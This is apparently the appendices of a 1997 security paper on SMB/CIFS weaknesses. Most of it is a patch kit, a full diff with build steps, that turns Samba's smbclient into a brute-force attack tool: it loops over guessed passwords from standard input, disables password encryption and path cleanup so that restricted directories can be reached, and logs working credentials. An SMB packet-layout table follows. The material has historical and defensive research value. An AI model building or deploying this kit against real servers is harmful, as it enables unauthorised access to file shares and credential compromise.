Appendix B: The Patch Kit
=========================

This illustrates some minimal changes needed to turn smbclient into a rudimentary attack kit. It does not cover *every* possibility of protocol weakness by any means, but is enough to get going with some fairly serious host-level attacks. Briefly, the following changes are effected:

Adds the interpret_error routine to help straighten out server errors

Corrects conversion of security mode

Loops forever reading new trial passwords from standard input

No-ops out the dos_clean_name() path cleanup routine, and allows changing to what appear to be "bad" directory paths.

Fixes nmblookup to use local UDP port 137 and verbatim scope ID

Apply the patch using your favorite method for doing so; extracting it to a file and doing "patch < file" generally suffices. Configure the Makefile for your platform, and add -DATTACK to FLAGS1. If you want all passwords automatically uppercased, also add -DUPPERCASE. This is optional, since mixed-case passwords are sometimes needed. Don't define PASSWD_FLAGS, so the client cannot use password encryption. Finally, do "make smbclient nmblookup" to build the two programs.

These changes are decidedly quick and dirty, but should illustrate how to begin putting together a much more sophisticated tool. Looking a little farther forward immediately shows several improvements not implemented here: The send_login routine covers three important steps in one linear shot and should be split up into its logically separate SMB steps. Several more commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and other possibly relevant parameters. Overall, the entire breakin scenario can be highly automated.

 !-- chop --!
*** client.c    Mon Jan 15 03:56:44 1996
--- attack/client.c     Thu Jan 30 23:14:59 1997
***************
*** 80,81 ****
--- 80,152 ----
   
+ /* Avian Research demo "SMBAttack" patch kit.  _H*/
+ #ifdef ATTACK
+ unsigned int cur_err;
+ 
+ #define dos_clean_name donothing
+ void donothing () { return; }
+ 
+ #define getpass readpass
+ char * readpass (prompt)
+   char * prompt;
+ {
+   char pb 256;
+   char * pp = NULL;
+ 
+   DEBUG(1,(prompt));
+   pp = fgets (pb, 128, stdin);
+   if (feof (stdin)) exit (0);
+   if (pp) {
+     pp (strlen (pp) - 1) = '\0';    /* rip the newline */
+ #ifdef UPPERCASE
+     strupper (pp);                    /* maybe upcase it?  XXX */
+ #endif
+     strcpy (password, pp);            /* and save it */
+   }
+   return (pp);
+ } /* readpass */
+ 
+ /****************************************************************************
+ The error returns from various platforms are many and varied, but all of
+ them mean a couple of basic things.  This boils relevant ones down roughly
+ to common server-class status, i.e.:
+       0       success
+       2       access denied, or wrong username/passwd for session OR share
+       5       network-ID not found, for session
+       6       sharename not found, TCon problem
+       1       anything else, probably fatal, including disabled accounts,
+                 negotiation problems, etc
+ ****************************************************************************/
+ static int interpret_error (rcls, err)
+ unsigned char rcls;
+ uint16 err;
+ {
+   if ((rcls == 0) && (err == 0)) return (0);  /* no error */
+   if (rcls == ERRSRV) {
+     if (err == 1) return (1);         /* non-specific error */
+     if (err == 2) return (2);         /* bad name or password */
+     if (err == 4) return (1);         /* insufficient access for function */
+     if (err == 5) return (5);         /* invalid TID */
+     if (err == 6) return (6);         /* invalid network name */
+     if (err == 7) return (6);         /* invalid device */
+     if (err == 1311) return (1);      /* no login servers available ? */
+     if (err == 2239) return (1);      /* account expired or disabled */
+   } /* ERRSRV */
+   if (rcls == ERRDOS) {
+     if (err == 5) return (2);         /* access denied */
+     if (err == 65) return (1);                /* network access denied */
+     if (err == 67) return (6);                /* network name not found */
+     if (err == 71) return (1);                /* no more connections */
+     if (err == 86) return (2);                /* network password incorrect */
+     if (err == 87) return (1);                /* parameter incorrect */
+     if (err == 90) return (1);                /* too many UIDs */
+ /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so wtf. */
+     if (err == 2240) return (1);      /* access denied from this WS */
+     if (err == 2241) return (1);      /* access denied at this time */
+     if (err == 2242) return (1);      /* password expired */
+     if (err == 2247) return (1);      /* security database corrupted */
+     if (err == 2455) return (1);      /* invalid workgroup */
+   } /* ERRDOS */
+   return (1);                         /* didn't find any mapping */
+ } /* interpret_error */
+ #endif /* ATTACK */
  
***************
*** 171,172 ****
--- 242,247 ----
        SSVAL(outbuf,smb_flg2,0x1);
+ #ifdef ATTACK
+       SCVAL(outbuf,smb_flg,0x18);     /* already-canonical filenames */
+       SSVAL(outbuf,smb_flg2,0x2001);  /* execute perm == read perm ? */
+ #endif /* ATTACK */
      }
***************
*** 282,283 ****
--- 357,364 ----
  
+ #ifdef ATTACK
+ /* we don't care if it's a bad path or not */
+   if (report && CVAL(inbuf,smb_rcls) != 0)
+     DEBUG(2,(" [but continuing anyway]\n"));
+   return (True);
+ #endif /* ATTACK */
    return(CVAL(inbuf,smb_rcls) == 0);
***************
*** 447,450 ****
--- 528,533 ----
        strcpy(dname,cur_dir);
+ #ifndef ATTACK
        strcat(cur_dir,"\\");
        dos_clean_name(cur_dir);
+ #endif /* ATTACK */
  
***************
*** 834,837 ****
    if (CVAL(inbuf,smb_rcls) != 0)
      return(False);
! 
    /* parse out the lengths */
--- 917,927 ----
    if (CVAL(inbuf,smb_rcls) != 0)
+ #ifdef ATTACK
+ /* show us why */
+   {
+     DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
+     return (False);
+   }
+ #else
      return(False);
! #endif /* ATTACK */
    /* parse out the lengths */
***************
*** 3014,3016 ****
  
!   DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
    DEBUG(3,("max xmt %d\n",max_xmit));
--- 3104,3106 ----
  
!   DEBUG(3,("Sec mode %d\n",sec_mode));                /* fixt.  _H*/
    DEBUG(3,("max xmt %d\n",max_xmit));
***************
*** 3020,3021 ****
--- 3110,3119 ----
    doencrypt = ((sec_mode & 2) != 0);
+ #ifdef ATTACK
+ /* don't encrypt, period */
+   doencrypt = 0;
+ /* don't screw with SessSetupX step unless we genuinely need it */
+   use_setup = ((sec_mode & 1) != 0);
+ /* always read a password anyways */
+   got_pass = 0;
+ #endif /* ATTACK */
  
***************
*** 3103,3104 ****
--- 3201,3211 ----
  
+ #ifdef ATTACK
+       cur_err = interpret_error (
+                       CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+       DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
+       goto get_pass;
+       }
+ #endif /* ATTACK */
+ 
        if (CVAL(inbuf,smb_rcls) != 0)
***************
*** 3129,3130 ****
--- 3236,3241 ----
  
+ #ifdef ATTACK
+ /* we're in */
+       DEBUG(0,("session established as %s/%s\n", username, password));
+ #endif /* ATTACK */
        if (Protocol >= PROTOCOL_NT1) {
***************
*** 3193,3194 ****
--- 3304,3313 ----
  
+ #ifdef ATTACK
+       cur_err = interpret_error (
+                       CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+       DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
+       goto get_pass;
+       }
+ #endif /* ATTACK */
    /* trying again with a blank password */
***************
*** 3217,3219 ****
    
! 
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
--- 3336,3341 ----
    
! #ifdef ATTACK
! /* we're in */
!   DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
! #endif /* ATTACK */
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
***************
*** 3863,3865 ****
        receive_smb(Client,buffer,0);
!       
  #ifdef CLIX
--- 3985,3991 ----
        receive_smb(Client,buffer,0);
! #ifdef ATTACK
! /* don't send chkpath-keepalives on a nonexistent tcon */
!       if (cnum == 0)
!       continue;
! #endif /* ATTACK */      
  #ifdef CLIX
***************
*** 4043,4044 ****
--- 4169,4177 ----
    umask(myumask);
+ #ifdef ATTACK
+ /* oh, c'mon. */
+   pid = 2048;
+   uid = 0;
+   gid = 0;
+   mid = 2048;
+ #endif /* ATTACK */
  
*** nmblookup.c Thu Jan 30 20:52:47 1997
--- attack/nmblookup.c  Tue Jan 21 01:39:16 1997
***************
*** 54,56 ****
--- 54,60 ----
  
+ #ifdef ATTACK
+   ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
+ #else
    ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
+ #endif /* ATTACK */
  
***************
*** 142,144 ****
--- 146,150 ----
        strcpy(scope,optarg);
+ #ifndef ATTACK
        strupper(scope);
+ #endif /* ATTACK */
        break;
 !-- chop --!
Appendix C: Overview of an SMB packet
=====================================

This is [roughly] the structure of an SMB packet as found inside the TCP payload and Samba's internal buffers. The leading length integer is not part of the SMB proper, and does not always appear under other transport types. For further details, see CIFS section 2.4.

offset  name                    size    contents / comments
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 0      [length int.]            4      TCP transport-layer data length
 4      header start             4      0xFF, 'S', 'M', 'B'
 8      SMB command              1      cmd code
 9      smb_rcls                 2      error class; 0 = no error
11      smb_err                  2      error code ; 0 = no error
13      smb_flg                  1
14      smb_flg2                 2
16      [filler]                12
28      TID                      2
30      PID                      2
32      UID                      2
34      MID                      2
36      word count               1      number of following parameter words
37      smb_vwv0                 2      0x00FF [intel order] if no AndX cmd
39      smb_vwv1                 2      0x0000 if no batched AndX stuff
41      smb_vwv2                 2      ...
   ... to a variable length's worth ...
??      buffers                  *      smb_buf() finds this offset
   ... SMB ends at (TCP-len + 4) ...
_H* 970130

(prev page - top)